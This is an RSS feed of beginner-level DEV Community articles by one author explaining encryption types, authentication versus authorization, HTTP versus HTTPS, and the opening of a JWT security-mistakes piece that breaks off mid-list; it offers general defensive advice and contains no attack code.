<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: sergio gómez</title>
    <description>The latest articles on DEV Community by sergio gómez (@sergio_gmez_9533652d3b3c).</description>
    <link>https://dev.to/sergio_gmez_9533652d3b3c</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4226731%2Fb4b23217-8e2f-44f6-aeaa-5f394069eb6b.png</url>
      <title>DEV Community: sergio gómez</title>
      <link>https://dev.to/sergio_gmez_9533652d3b3c</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/sergio_gmez_9533652d3b3c"/>
    <language>en</language>
    <item>
      <title>Symmetric vs. Asymmetric Encryption: A Practical Guide Without Math</title>
      <dc:creator>sergio gómez</dc:creator>
      <pubDate>Wed, 04 Nov 2026 20:24:12 +0000</pubDate>
      <link>https://dev.to/sergio_gmez_9533652d3b3c/symmetric-vs-asymmetric-encryption-a-practical-guide-without-math-1a73</link>
      <guid>https://dev.to/sergio_gmez_9533652d3b3c/symmetric-vs-asymmetric-encryption-a-practical-guide-without-math-1a73</guid>
      <description>&lt;h1&gt;
  
  
  Symmetric vs. Asymmetric Encryption: A Practical Guide Without Math
&lt;/h1&gt;

&lt;p&gt;In the digital age, protecting information is a daily necessity: from the WhatsApp message you send to the online purchase you make. Two fundamental techniques make that security possible: &lt;strong&gt;symmetric encryption&lt;/strong&gt; and &lt;strong&gt;asymmetric encryption&lt;/strong&gt;. Although they sound complex, their operation can be explained with simple analogies and without diving into formulas. In this article you’ll discover what they are, their advantages and limitations, and when it’s best to use each one.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. What is symmetric encryption and how does it work?
&lt;/h2&gt;

&lt;p&gt;Symmetric encryption relies on &lt;strong&gt;a single key&lt;/strong&gt; that is used both to encrypt and to decrypt data. Imagine a safe with one combination; anyone who knows the combination can open it and lock it again.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Main advantages&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Speed&lt;/strong&gt;: because only one key is used, symmetric algorithms (such as AES) are very fast, making them ideal for large volumes of data (e.g., the contents of a file or a video stream).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Operational simplicity&lt;/strong&gt;: managing a single key reduces the complexity of the encryption process.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Main disadvantages&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Key distribution&lt;/strong&gt;: the biggest challenge is sharing the key securely between the parties that need to communicate. If the key is intercepted, any attacker can decrypt the information.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Limited scalability&lt;/strong&gt;: in a network with &lt;em&gt;n&lt;/em&gt; users, &lt;em&gt;n × (n‑1)/2&lt;/em&gt; distinct keys are required for every pair to communicate securely, which quickly becomes impractical.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In practice, symmetric encryption is used when speed is critical and the key has already been exchanged securely, such as for protecting data stored on hard drives or for transmitting multimedia content. (Source: Mailfence)&lt;/p&gt;

&lt;h2&gt;
  
  
  2. What is asymmetric encryption and why does it need two keys?
&lt;/h2&gt;

&lt;p&gt;Asymmetric encryption, also called &lt;strong&gt;public‑key cryptography&lt;/strong&gt;, uses &lt;strong&gt;a pair of keys&lt;/strong&gt;: a public key and a private key. The public key is shared freely, while the private key is kept secret. The most common analogy is a &lt;strong&gt;mailbox&lt;/strong&gt;: anyone can drop a letter using the public address, but only the owner of the private key can open it and read the contents.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Main advantages&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Secure key exchange&lt;/strong&gt;: by using the public key to encrypt, there’s no need to send the secret key over the communication channel; only the public key travels, which does not compromise security.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authentication and digital signatures&lt;/strong&gt;: the private key can create signatures that anyone can verify with the public key, guaranteeing the integrity and provenance of the message.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Main disadvantages&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Performance&lt;/strong&gt;: asymmetric algorithms (such as RSA or ECC) are slower and consume more resources, so they are not suitable for encrypting large data blocks directly.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Key size&lt;/strong&gt;: to achieve security levels comparable to symmetric encryption, asymmetric keys must be considerably longer, increasing computational load.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Therefore, asymmetric encryption is mainly used in connection‑establishment protocols, such as the HTTPS handshake, where symmetric keys are exchanged securely before the actual data transmission begins. (Source: SSLDragon)&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Combining the best of both worlds: hybrid encryption
&lt;/h2&gt;

&lt;p&gt;Since each method has strengths and weaknesses, the most widely used practical solution is to combine them in a &lt;strong&gt;hybrid scheme&lt;/strong&gt;:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Key exchange&lt;/strong&gt;: one party generates a random symmetric key and encrypts it with the recipient’s public key (asymmetric encryption).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data transmission&lt;/strong&gt;: once the recipient decrypts the symmetric key with their private key, both parties use that key to encrypt and decrypt the rest of the communication (symmetric encryption).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This approach leverages the &lt;strong&gt;security of asymmetric key exchange&lt;/strong&gt; and the &lt;strong&gt;speed of symmetric encryption&lt;/strong&gt;. It underlies most modern protocols, such as TLS/SSL, which protect our online purchases, email access, and file transfers. (Source: Hexatransfer)&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Which one to choose based on the need?
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Need&lt;/th&gt;
&lt;th&gt;Best option&lt;/th&gt;
&lt;th&gt;Why&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Encrypt large volumes of data&lt;/strong&gt; (files, streaming)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Symmetric&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High speed and low resource consumption.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Exchange information between unknown users&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Asymmetric&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;No prior secret key sharing required.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Sign documents or messages&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Asymmetric&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Allows authenticity verification with the public key.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Build end‑to‑end secure communication&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Hybrid (symmetric + asymmetric)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Combines secure key exchange with fast data transmission.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;In corporate environments, the common practice is to generate a digital certificate (public/private key pair) for each server and use it to negotiate a temporary symmetric key. In mobile applications, developers often store a symmetric key on the device and protect it with the operating system’s keystore, which in turn is backed by asymmetric cryptography. (Source: Prey)&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Symmetric and asymmetric encryption are the pillars of digital security, but each addresses different problems: speed vs. secure key exchange, simplicity vs. authentication. Understanding their characteristics lets you pick the right tool for each case, and when combined, they provide robust protection without sacrificing performance. The next time you see the lock icon in your browser’s address bar, remember that behind it is a dance of public and private keys working together to keep your data safe.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Want to strengthen the security of your projects?&lt;/strong&gt; Start by identifying what type of data you handle and adopt a hybrid scheme: use a public key for the initial exchange and a symmetric key for the rest of the communication. Implementing this practice today will reduce risk and improve your users’ experience. Get moving and protect your information with the right combination of encryption!&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources and references
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.mailfence.com/es/cifrado-simetrico-vs-asimetrico/" rel="noopener noreferrer"&gt;Cifrado simétrico vs. asimétrico: ¿cuál es la diferencia?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ssldragon.com/es/blog/cifrado-simetrico-asimetrico/" rel="noopener noreferrer"&gt;Cifrado Simétrico vs Asimétrico: Explicación de las principales diferencias&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://hexatransfer.com/es/blog/cifrado-simetrico-vs-asimetrico" rel="noopener noreferrer"&gt;Cifrado simétrico vs asimétrico: diferencias clave explicadas&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://preyproject.com/es/blog/tipos-de-cifrado-simetrico-o-asimetrico-rsa-o-aes" rel="noopener noreferrer"&gt;Cifrado simétrico y asimétrico: guía completa sobre criptografía - Prey&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>beginners</category>
      <category>tutorial</category>
      <category>programming</category>
    </item>
    <item>
      <title>Authentication vs. Authorization: The Difference Everyone Confuses</title>
      <dc:creator>sergio gómez</dc:creator>
      <pubDate>Wed, 04 Nov 2026 20:19:39 +0000</pubDate>
      <link>https://dev.to/sergio_gmez_9533652d3b3c/authentication-vs-authorization-the-difference-everyone-confuses-dpi</link>
      <guid>https://dev.to/sergio_gmez_9533652d3b3c/authentication-vs-authorization-the-difference-everyone-confuses-dpi</guid>
      <description>&lt;h1&gt;
  
  
  Authentication vs. Authorization: The Difference Everyone Confuses
&lt;/h1&gt;

&lt;p&gt;In day‑to‑day information security practice, &lt;strong&gt;authentication&lt;/strong&gt; and &lt;strong&gt;authorization&lt;/strong&gt; are often treated as synonyms. This confusion is one of the most common causes of security breaches, because IT teams apply controls in the wrong place. In this article we break down, in a practical and straightforward way, what each process means, how they differ, and what steps you can take to avoid common mistakes in your systems.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is Authentication?
&lt;/h2&gt;

&lt;p&gt;Authentication is the first step of any access flow: &lt;strong&gt;verifying the identity&lt;/strong&gt; of the user trying to get in. In other words, the system needs to be sure that the person who says they are “Juan Pérez” really is.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Typical mechanisms&lt;/strong&gt;: passwords, one‑time tokens (OTP), biometrics (fingerprint, facial recognition) and digital certificates.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Goal&lt;/strong&gt;: confirm that the subject requesting access is who they claim to be before any interaction with the resource is allowed.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;According to SentinelOne, many breaches originate because teams confuse authentication with authorization; the first step—identity verification—must be completed without ambiguity. In modern identity environments, authentication is usually centralized in an &lt;strong&gt;identity provider (IdP)&lt;/strong&gt; that manages credentials and common protocols such as OAuth, OpenID Connect, or SAML.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is Authorization?
&lt;/h2&gt;

&lt;p&gt;Once the identity is confirmed, the next process is &lt;strong&gt;authorization&lt;/strong&gt;. Here the system determines &lt;strong&gt;what actions the authenticated user may perform&lt;/strong&gt; and which resources they can access.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Typical mechanisms&lt;/strong&gt;: access control lists (ACL), roles (RBAC), attributes (ABAC), and context‑based policies (e.g., location or device).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Goal&lt;/strong&gt;: limit the scope of access according to the assigned permission level, preventing a legitimate user from doing things outside their domain.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IBM describes authorization as the process that “provides the user the level of access needed.” In other words, after authentication has said “this is Juan,” authorization answers “Juan can view his purchase history, but cannot modify server settings.”&lt;/p&gt;

&lt;h2&gt;
  
  
  Key Differences and Points of Confusion
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Aspect&lt;/th&gt;
&lt;th&gt;Authentication&lt;/th&gt;
&lt;th&gt;Authorization&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;What it verifies&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Subject’s identity&lt;/td&gt;
&lt;td&gt;Permissions and privileges&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;When it occurs&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;At the start of the access flow&lt;/td&gt;
&lt;td&gt;After authentication, before the action&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Typical example&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Entering username and password&lt;/td&gt;
&lt;td&gt;Accessing the site’s admin page&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tools&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;IdP, MFA, password managers&lt;/td&gt;
&lt;td&gt;RBAC, security policies, application firewalls&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  Why They Get Mixed Up
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Similar terminology&lt;/strong&gt;: both words start with “auth‑” and are used together within the identity and access management (IAM) cycle.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrated implementations&lt;/strong&gt;: some platforms offer “authentication and authorization” as a single module, which can hide the logical separation of the processes.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lack of clear documentation&lt;/strong&gt;: teams that do not document their security flows tend to blend the concepts, making auditing and incident response harder.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;SentinelOne warns that the lack of clarity between the two processes leads to placing security controls at the wrong point, leaving vulnerabilities exposed. For example, validating a password (authentication) does not protect against a user who, although legitimate, tries to access confidential data without proper authorization.&lt;/p&gt;

&lt;h2&gt;
  
  
  Best Practices to Keep the Concepts Separate
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Separate the flows in the architecture&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use an &lt;strong&gt;identity provider&lt;/strong&gt; (IdP) &lt;strong&gt;exclusively&lt;/strong&gt; for authentication.
&lt;/li&gt;
&lt;li&gt;Deploy an &lt;strong&gt;independent authorization engine&lt;/strong&gt; that evaluates roles and policies after the IdP has issued a token.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Apply the principle of “least privilege”&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Assign each user only the permissions strictly necessary for their role.
&lt;/li&gt;
&lt;li&gt;Review and revoke inactive roles on a regular basis.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Use multi‑factor authentication (MFA)&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add an extra verification layer before generating the authorization token.
&lt;/li&gt;
&lt;li&gt;MFA reduces the risk that compromised credentials lead to unauthorized access.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Audit and log both events separately&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Record when and how a user was authenticated (timestamp, method, IP).
&lt;/li&gt;
&lt;li&gt;Log each authorization decision (resource requested, policy applied, outcome).
&lt;/li&gt;
&lt;li&gt;Separate logs make it easier to spot anomalous behavior.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Train personnel&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Conduct training sessions that explain the difference between “who you are” and “what you can do.”
&lt;/li&gt;
&lt;li&gt;Use concrete examples (e.g., an HR employee can view employee records but cannot deploy production code).
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Periodically review the identity stack&lt;/strong&gt;  &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Various security guides recommend validating that each layer (authentication and authorization) fulfills its purpose without overlapping.
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;By following these practices, you reduce the likelihood that a breach stems from a mis‑configured authorization or an insufficient authentication.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Understanding and respecting the line that separates &lt;strong&gt;authentication&lt;/strong&gt; (who you are) from &lt;strong&gt;authorization&lt;/strong&gt; (what you can do) is essential for building secure, resilient systems. Confusing the two concepts is a frequent source of vulnerabilities, but with a well‑defined architecture, “least privilege” policies, and continuous auditing, you can minimize the risks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Ready to strengthen your security strategy?&lt;/strong&gt; Review your access flows, clearly separate authentication and authorization components, and start applying the best practices outlined above. An environment where each process fulfills its role is the foundation for protecting your data and maintaining user trust.  &lt;/p&gt;




&lt;p&gt;&lt;em&gt;Share this article with your team and start clarifying the difference between authentication and authorization in your organization today.&lt;/em&gt;  &lt;/p&gt;

&lt;h2&gt;
  
  
  Sources and references
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.sentinelone.com/es/cybersecurity-101/identity-security/authentication-vs-authorization/" rel="noopener noreferrer"&gt;Autenticación vs Autorización: ¿Cuál es la diferencia? – SentinelOne&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ibm.com/es-es/think/topics/authentication-vs-authorization" rel="noopener noreferrer"&gt;Authentication vs. Authorization – IBM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.redeszone.net/tutoriales/seguridad/diferencias-autenticacion-autorizacion/" rel="noopener noreferrer"&gt;Diferencias entre autenticación y autorización – Redes Zone&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>api</category>
      <category>beginners</category>
      <category>programming</category>
    </item>
    <item>
      <title>HTTP vs HTTPS: What Really Happens When You Browse</title>
      <dc:creator>sergio gómez</dc:creator>
      <pubDate>Wed, 04 Nov 2026 20:18:51 +0000</pubDate>
      <link>https://dev.to/sergio_gmez_9533652d3b3c/http-vs-https-what-really-happens-when-you-browse-n3k</link>
      <guid>https://dev.to/sergio_gmez_9533652d3b3c/http-vs-https-what-really-happens-when-you-browse-n3k</guid>
      <description>&lt;h1&gt;
  
  
  HTTP vs HTTPS: What Really Happens When You Browse
&lt;/h1&gt;

&lt;p&gt;In most browsers the difference between &lt;strong&gt;http://&lt;/strong&gt; and &lt;strong&gt;https://&lt;/strong&gt; looks like just a visual detail: a lock icon or a “not secure” warning. Beneath that appearance lie critical processes that determine whether the information you send and receive is protected or vulnerable. In this article we break down, in a practical and straightforward way, what happens at each step of the communication, what the real advantages of HTTPS are, and when (if ever) it still makes sense to use HTTP.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. How HTTP Works: the Web’s Unprotected “Language”
&lt;/h2&gt;

&lt;p&gt;HTTP (HyperText Transfer Protocol) defines how browsers request resources (pages, images, scripts) and how servers deliver them. According to the Underc0de guide, &lt;em&gt;“HTTP is the language your browser uses to ask for pages and the servers use to respond”&lt;/em&gt; [6].&lt;/p&gt;

&lt;p&gt;The process is simple:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Client → Server&lt;/strong&gt;: The browser opens a TCP connection and sends a request (e.g., &lt;code&gt;GET /index.html&lt;/code&gt;).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Server → Client&lt;/strong&gt;: The server replies with the requested resource and a status code (200 OK, 404 Not Found, etc.).
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The entire exchange occurs in plain text. Any device that intercepts the connection (a router, an ISP, or an attacker on the same Wi‑Fi network) can read, copy, or modify the data without the user noticing. Therefore, HTTP provides no confidentiality or integrity guarantees.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. HTTPS: HTTP Protected by TLS
&lt;/h2&gt;

&lt;p&gt;HTTPS keeps the same request‑response structure but adds a security layer via &lt;strong&gt;TLS (Transport Layer Security)&lt;/strong&gt;. The NetworkTechnology guide explains that &lt;em&gt;“HTTPS preserves that conversation, but protects it with TLS to provide encryption, integrity, and server authentication”&lt;/em&gt; [2].&lt;/p&gt;

&lt;p&gt;Key steps are:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;What Happens&lt;/th&gt;
&lt;th&gt;Why It Matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;TLS Handshake&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The client and server negotiate encryption algorithms and the server sends its digital certificate.&lt;/td&gt;
&lt;td&gt;The certificate verifies that the server is who it claims to be (authentication).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Encryption&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;All requests and responses are encrypted with keys derived from the handshake.&lt;/td&gt;
&lt;td&gt;Prevents third parties from reading the content (confidentiality).&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Integrity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Each message includes a Message Authentication Code (MAC) that detects tampering.&lt;/td&gt;
&lt;td&gt;Stops an attacker from altering data in transit.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The result is a connection that, although it still uses HTTP to describe the request, &lt;strong&gt;exposes nothing in plain text&lt;/strong&gt;. Browsers indicate this with the lock icon and, in some cases, with a “Secure” label. SiteGround notes that &lt;em&gt;“HTTPS protects your data and the integrity of the information traveling between the client and the server”&lt;/em&gt; [5].&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Concrete Benefits of Moving to HTTPS
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Data Security
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Confidentiality&lt;/strong&gt;: Credentials, personal data, or payment information are encrypted.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity&lt;/strong&gt;: Content cannot be altered without the browser detecting it.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authentication&lt;/strong&gt;: The SSL/TLS certificate guarantees that the site you connect to is legitimate, reducing phishing risk.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3.2 SEO Impact and User Trust
&lt;/h3&gt;

&lt;p&gt;Various guides indicate that search engines favor sites that use HTTPS, translating into better rankings [3]. Moreover, users trust sites that display the lock icon; its absence can generate distrust and abandonment.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.3 Best Practices and Regulatory Compliance
&lt;/h3&gt;

&lt;p&gt;The Programmer’s Blog highlights that, in 2026, most privacy standards (such as GDPR) require protection of data in transit, and HTTPS is the simplest way to meet that requirement [1]. Likewise, SiteGround’s guide recommends using HTTPS as the default configuration for any new web project.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. When (If) HTTP Might Still Be Justified
&lt;/h2&gt;

&lt;p&gt;Although HTTPS is the recommended choice almost universally, there are limited scenarios where HTTP can be acceptable:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Fully public, non‑interactive content&lt;/strong&gt;: For example, a static page that only displays public information and does not collect user data.
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Internal development environments&lt;/strong&gt;: In closed networks where access control is guaranteed, some teams choose HTTP to simplify testing.
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Keyfactor warns that &lt;em&gt;“HTTPS still cannot hide the server’s IP address or connection metadata,”&lt;/em&gt; meaning that even though the content is encrypted, certain data remains visible [4]. For that reason, even in the scenarios above, it is wise to assess whether the reduction in complexity justifies the potential exposure of network‑level information.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Conclusion
&lt;/h2&gt;

&lt;p&gt;HTTP and HTTPS share the same request‑response logic but differ dramatically in how they handle information in transit. While HTTP delivers data in plain text, HTTPS wraps it in a TLS layer that provides &lt;strong&gt;encryption, integrity, and authentication&lt;/strong&gt;. The advantages of adopting HTTPS go beyond security: they improve SEO, increase user confidence, and simplify compliance with privacy regulations. Only in very specific situations (purely public content or controlled environments) might HTTP be considered, but even then the risks should be carefully evaluated.&lt;/p&gt;




&lt;h2&gt;
  
  
  6. Ready to Secure Your Site?
&lt;/h2&gt;

&lt;p&gt;If you haven’t migrated your project to HTTPS yet, the next step is to obtain a TLS certificate (many Certificate Authorities offer them for free) and configure your server to redirect all HTTP traffic to HTTPS. Guides like Underc0de’s include detailed migration steps [6].  &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Don’t wait any longer!&lt;/strong&gt; Implement HTTPS today and give your users the peace of mind that comes from browsing in a safe and trustworthy environment.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources and references
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://underc0de.org/guias/redes/como-funcionan-http-y-https/" rel="noopener noreferrer"&gt;Cómo funcionan HTTP y HTTPS | Underc0de Guías&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://networktechnology.blog/2026/01/06/diferencias-entre-http-https-y-como-funiona-cada-uno/" rel="noopener noreferrer"&gt;HTTP y HTTPS: qué son, diferencias y cómo funcionan | NetworkTechnology&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://consultoriainformatica.net/diferencias-entre-http-y-https-por-que-son-importantes/" rel="noopener noreferrer"&gt;Diferencias entre HTTP y HTTPS | Guía Completa (Consultoría Informática)&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.keyfactor.com/es/blog/http-vs-https-the-real-difference-and-why-it-still-matters/" rel="noopener noreferrer"&gt;HTTP frente a HTTPS: la verdadera diferencia | Keyfactor&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://es.siteground.com/kb/http-vs-https" rel="noopener noreferrer"&gt;HTTP vs HTTPS: ¿Cuál es la diferencia? - BC de SiteGround&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>beginners</category>
      <category>webdev</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>JWT: What They Are and the 5 Most Common Security Mistakes</title>
      <dc:creator>sergio gómez</dc:creator>
      <pubDate>Wed, 04 Nov 2026 19:36:49 +0000</pubDate>
      <link>https://dev.to/sergio_gmez_9533652d3b3c/jwt-what-they-are-and-the-5-most-common-security-mistakes-3c5h</link>
      <guid>https://dev.to/sergio_gmez_9533652d3b3c/jwt-what-they-are-and-the-5-most-common-security-mistakes-3c5h</guid>
      <description>&lt;h1&gt;
  
  
  JWT: What They Are and the 5 Most Common Security Mistakes
&lt;/h1&gt;

&lt;p&gt;JSON Web Tokens (JWT) are &lt;strong&gt;one of the most widely used&lt;/strong&gt; options for transmitting authentication data between client and server. Their compact format and the ability to validate identity without hitting the database on every request make them attractive, but they also expose applications to vulnerabilities that can compromise security. In this article we explain what a JWT is, describe the five most frequent security flaws, and provide concrete recommendations to avoid them.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is a JWT and How Does It Work?
&lt;/h2&gt;

&lt;p&gt;A JWT consists of three Base64URL‑encoded parts separated by dots (&lt;code&gt;.&lt;/code&gt;):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Header&lt;/strong&gt; – indicates the token type (&lt;code&gt;JWT&lt;/code&gt;) and the signing algorithm (&lt;code&gt;HS256&lt;/code&gt;, &lt;code&gt;RS256&lt;/code&gt;, etc.).
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload&lt;/strong&gt; – contains the &lt;em&gt;claims&lt;/em&gt; (user identifier, roles, expiration, etc.).
&lt;/li&gt;
&lt;li&gt;
